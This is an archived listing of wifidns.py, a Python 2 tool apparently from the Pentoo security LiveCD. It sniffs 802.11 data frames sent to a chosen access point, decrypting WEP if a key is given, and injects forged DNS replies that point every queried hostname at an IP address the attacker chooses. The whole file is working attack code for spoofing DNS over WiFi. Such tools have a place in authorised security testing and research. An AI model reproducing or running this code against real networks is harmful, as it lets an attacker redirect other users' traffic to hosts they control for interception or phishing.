home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / bin / wifidns < prev    next >
Text File  |  2006-03-29  |  7KB  |  228 lines

  1. #! /usr/bin/env python
  2.  
  3. ########################################
  4. #
  5. # wifidns.py --- WiFi injection DNS answering tool based on Wifitap
  6. #
  7. # Copyright (C) 2005 Cedric Blancher <sid@rstack.org>
  8. #
  9. # This program is free software; you can redistribute it and/or modify it
  10. # under the terms of the GNU General Public License version 2 as
  11. # published by the Free Software Foundation; version 2.
  12. #
  13. # This program is distributed in the hope that it will be useful, but
  14. # WITHOUT ANY WARRANTY; without even the implied warranty of
  15. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  16. # General Public License for more details.
  17. #
  18. #########################################
  19.  
  20. import os,sys,getopt,struct,re,string
  21.  
  22. # Import Psyco if available to speed up execution
  23. try:
  24.     import psyco
  25.     psyco.full()
  26. except ImportError:
  27.     print "Psyco optimizer not installed, running anyway..."
  28.     pass
  29.  
  30. from socket import *
  31. from fcntl  import ioctl
  32. from select import select
  33. from scapy  import Raw,Ether,PrismHeader,Dot11,Dot11WEP,LLC,SNAP,sendp,conf
  34.  
  35. # We want to build a DNS Query answering machine
  36.  
  37. from scapy  import IP,UDP,DNS,DNSRR
  38.  
  39. IN_IFACE  = "ath0"
  40. OUT_IFACE = "ath0"
  41. HAS_PRISM = 1
  42. WEP       = 0
  43. KEYID     = 0
  44. DEBUG     = 0
  45. VERB      = 0
  46. BSSID     = ""
  47. UBSSID    = ""
  48. IPDNS     = ""
  49. WEPKEY    = ""
  50.  
  51.  
  52. def usage(status=0):
  53.     print "Usage: wifidns -b <BSSID> -a <IP> [-o <iface>] [-i <iface> [-p]]"
  54.     print "                          [-w <WEP key>] [-k <key id>]] [-d [-v]]"
  55.     print "                          [-h]"
  56.     print "     -b <BSSID>    specify BSSID for injection"
  57.     print "     -a <IP>       specify IP address for DNS answers"
  58.     print "     -o <iface>    specify interface for injection (default: ath0)"
  59.     print "     -i <iface>    specify interface for listening (default: ath0)"
  60.     print "     -p            listening interface does not provide Prism Headers"
  61.     print "     -w <key>      WEP mode and key"
  62.     print "     -k <key id>   WEP key id (default: 0)"
  63.     print "     -d            activate debug"
  64.     print "     -v            verbose debugging"
  65.     print "     -h            this so helpful output"
  66.     sys.exit(status)
  67.  
  68. opts = getopt.getopt(sys.argv[1:],"b:a:o:i:w:k::pdvh")
  69.  
  70. for opt,optarg in opts[0]:
  71.     if opt == "-b":
  72.     UBSSID = optarg
  73.     elif opt == "-a":
  74.         IPDNS = optarg
  75.     elif opt == "-o":
  76.     OUT_IFACE = optarg
  77.     elif opt == "-i":
  78.     IN_IFACE = optarg
  79.     elif opt == "-p":
  80.         HAS_PRISM = 0
  81.     elif opt == "-w":
  82.     WEP += 1
  83.     WEPKEY = optarg
  84.     elif opt == "-k":
  85.     KEYID = int(optarg)
  86.     elif opt == "-d":
  87.     DEBUG += 1
  88.     elif opt == "-v":
  89.     VERB += 1
  90.     elif opt == "-h":
  91.     usage()
  92.  
  93. if not UBSSID:
  94.     print "\nError: BSSID not defined\n"
  95.     usage()
  96.  
  97. if not IPDNS:
  98.     print "\nError: IP not defined\n"
  99.     usage()
  100.  
  101. # Match and parse BSSID
  102. if re.match('^([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}$', UBSSID):
  103.     for i in range(17):
  104.     BSSID += UBSSID[i].lower()
  105. else:
  106.     print "\nError: Wrong format for BSSID\n"
  107.     usage()
  108.  
  109. # Match and parse IP
  110. if not re.match('^(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])$', IPDNS):
  111.     print "\nError: Wrong IP address\n"
  112.     usage()
  113.  
  114. if HAS_PRISM:
  115.     print "IN_IFACE:   %s (Prism headers in capture)" % IN_IFACE
  116. else:
  117.     print "IN_IFACE:   %s (no Prism headers in capture)" % IN_IFACE
  118. print "OUT_IFACE:  %s" % OUT_IFACE
  119. print "BSSID:      %s" % BSSID
  120. print "IP:         %s" % IPDNS
  121.  
  122. if WEP:
  123.     # Match and parse WEP key
  124.     tmp_key = ""
  125.     if re.match('^([0-9a-fA-F]{2}){5}$', WEPKEY) or re.match ('^([0-9a-fA-F]{2}){13}$', WEPKEY):
  126.     tmp_key = WEPKEY
  127.     elif re.match('^([0-9a-fA-F]{2}[:]){4}[0-9a-fA-F]{2}$', WEPKEY) or re.match('^([0-9a-fA-F]{2}[:]){12}[0-9a-fA-F]{2}$', WEPKEY):
  128.     tmp_key = re.sub(':', '', WEPKEY)
  129.     elif re.match ('^([0-9a-fA-F]{4}[-]){2}[0-9a-fA-F]{2}$', WEPKEY) or re.match ('^([0-9a-fA-F]{4}[-]){6}[0-9a-fA-F]{2}$', WEPKEY):
  130.     tmp_key = re.sub('-', '', WEPKEY)
  131.     else:
  132.     print "\nError : Wrong format for WEP key\n"
  133.     usage()
  134.     g = lambda x: chr(int(tmp_key[::2][x],16)*16+int(tmp_key[1::2][x],16))
  135.     for i in range(len(tmp_key)/2):
  136.     conf.wepkey += g(i)
  137.     print "WEP key:    %s (%dbits)" % (WEPKEY, len(tmp_key)*4)
  138.     if KEYID > 3 or KEYID < 0:
  139.     print "Key id:     %s (defaulted to 0 due to wrong -k argument)" % KEYID
  140.     KEYID = 0
  141.     else:
  142.     print "Key id:     %s" % KEYID
  143. else:
  144.     if KEYID != 0:
  145.     print "WEP not activated, key id ignored"
  146.  
  147. if not DEBUG:
  148.     if VERB:
  149.     print "DEBUG not activated, verbosity ignored"
  150. else:
  151.     print "DEBUG activated"
  152.     if VERB:
  153.     print "Verbose debugging"
  154.  
  155. conf.iface = OUT_IFACE
  156.  
  157. # Here we put a BPF filter so only 802.11 Data/to-DS frames are captured
  158. # We need to know if PrismHeaders are present so we can shift lookup index
  159. if HAS_PRISM:
  160.     s = conf.L2listen(iface = IN_IFACE,
  161.     filter = "link[144]&0xc == 8 and link[145]&0xf == 1")
  162. else:
  163.     s = conf.L2listen(iface = IN_IFACE,
  164.     filter = "link[0]&0xc == 8 and link[1]&0xf == 1")
  165.  
  166.  
  167. try:
  168.     while 1:
  169.     dot11_frame = s.recv(2346)
  170.  
  171.     # WEP handling is automagicly done by Scapy if conf.wepkey is set
  172.     # Nothing to do to decrypt
  173.     # WEP frames have Dot11WEP layer, others don't
  174.     if DEBUG and VERB:
  175.         if dot11_frame.haslayer(Dot11WEP): # WEP frame
  176.         os.write(1,"Received WEP from %s\n" % IN_IFACE)
  177.         else: # Cleartext frame
  178.         os.write(1,"Received from %s\n" % IN_IFACE)
  179.     #    os.write(1,"%s\n" % dot11_frame.summary())
  180.  
  181.     if dot11_frame.getlayer(Dot11).addr1 != BSSID:
  182.         continue
  183.  
  184.     # Identifying DNS Queries
  185.     if dot11_frame.haslayer(DNS) and dot11_frame.getlayer(DNS).qr == 0:
  186.         if DEBUG:
  187.         os.write(1,"Received DNS Query on %s\n" % IN_IFACE)
  188.         if VERB:
  189.             os.write(1,"%s\n" % dot11_frame.summary())
  190.  
  191.     # Building DNS Reply answer for injection
  192.         dot11_answer = Dot11(type = "Data",
  193.         FCfield = "from-DS",
  194.         addr1 = dot11_frame.getlayer(Dot11).addr2,
  195.         addr2 = BSSID,
  196.         addr3 = dot11_frame.getlayer(Dot11).addr3)
  197.         if WEP:
  198.         dot11_answer.FCfield |= 0x40
  199.         dot11_answer /= Dot11WEP(iv = "111",
  200.             keyid = KEYID)
  201.         dot11_answer /= LLC(ctrl = 3)/SNAP()/IP(src = dot11_frame.getlayer(IP).dst,
  202.         dst = dot11_frame.getlayer(IP).src)
  203.         dot11_answer /= UDP(sport = dot11_frame.getlayer(UDP).dport,
  204.         dport = dot11_frame.getlayer(UDP).sport)
  205.         dot11_answer /= DNS(id = dot11_frame.getlayer(DNS).id,
  206.         qr = 1,
  207.         qd = dot11_frame.getlayer(DNS).qd,
  208.         an = DNSRR(rrname = dot11_frame.getlayer(DNS).qd.qname,
  209.             ttl = 10,
  210.             rdata = IPDNS)
  211.         )
  212.  
  213.         if DEBUG:
  214.         os.write(1,"Sending DNS Reply on %s\n" % OUT_IFACE)
  215.         if VERB:
  216.             os.write(1,"%s\n" % dot11_frame.summary())
  217.  
  218.     # Frame injection :
  219.         sendp(dot11_answer,verbose=0) # Send frame
  220.  
  221. # Program killed
  222. except KeyboardInterrupt:
  223.     print "Stopped by user."
  224.  
  225. s.close()
  226.  
  227. sys.exit()
  228.